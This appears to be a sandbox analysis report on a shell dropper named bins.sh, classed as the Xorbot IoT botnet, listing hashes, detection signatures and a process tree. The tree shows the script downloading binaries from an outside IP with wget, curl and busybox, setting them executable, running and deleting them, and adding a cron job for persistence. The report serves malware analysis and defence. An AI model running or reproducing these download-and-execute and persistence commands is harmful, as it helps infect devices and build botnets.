Analysis

  • max time kernel
    150s
  • max time network
    114s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/12/2024, 17:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    26c147f3c53daa20ad5513d299f09a9b

  • SHA1

    dc48cbc8f77f2f2ddc3adfd3f82f7d62f9f63199

  • SHA256

    c0f7db59299494b43e471d79920405ed4351ca6dc8d312e8b5b7bef5c588e570

  • SHA512

    e5a1accbd6418b2ae9e53a6980a9d178868ae02e44dd84a280e61c8d28aa70ca312b0a17febb36374503716d55ca0b66a5d782caaf13009ddcc0ced11e3a6e78

  • SSDEEP

    192:lvxMZOulYwDfXvYwsM8Y6l1ClVPciOumMDfXvYwh8Y6l10I:lvxMZYhM8Y6l1QVPc7y8Y6l1H

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:667
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:669
        • /usr/bin/wget
          wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Writes file to tmp directory
          PID:674
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:693
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Writes file to tmp directory
          PID:699
        • /bin/chmod
          chmod 777 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • File and Directory Permissions Modification
          PID:763
        • /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          ./nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
          • Executes dropped EXE
          PID:765
        • /bin/rm
          rm nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem
          2⤵
            PID:768
          • /usr/bin/wget
            wget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Writes file to tmp directory
            PID:769
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:788
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Writes file to tmp directory
            PID:791
          • /bin/chmod
            chmod 777 XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • File and Directory Permissions Modification
            PID:792
          • /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            ./XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
            • Executes dropped EXE
            PID:793
          • /bin/rm
            rm XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI
            2⤵
              PID:795
            • /usr/bin/wget
              wget http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Writes file to tmp directory
              PID:796
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:797
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Writes file to tmp directory
              PID:798
            • /bin/chmod
              chmod 777 GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • File and Directory Permissions Modification
              PID:799
            • /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              ./GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:800
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:802
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:803
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:804
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:805
                  • /bin/rm
                    rm GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv
                    2⤵
                      PID:808
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/uFfupnU5Bsn2H3TFesYEvIe4gPTGUYDLAq
                      2⤵
                        PID:810

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/GISNbozinJyCfmdSPyOBtmuLcBITvdcoFv

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /var/spool/cron/crontabs/tmp.rHLO4U

                            Filesize

                            210B

                            MD5

                            c64e398d85b7278157095840474c2153

                            SHA1

                            8d23a32a25deda7cfb6e6c7c93fd0a1a2c7d15b4

                            SHA256

                            7d9332322583b8a2d663f1d0b16f436db30e1f0ac17ba4fc57ae1f4dffc2e332

                            SHA512

                            09aae61d39155cf92af8ed419a9f655be10a24b358c14e562334463ab12965a8d96f96cbd4296045e1686428a2c0ef4d0d7737e3ef7f22fceaeec735f7c61991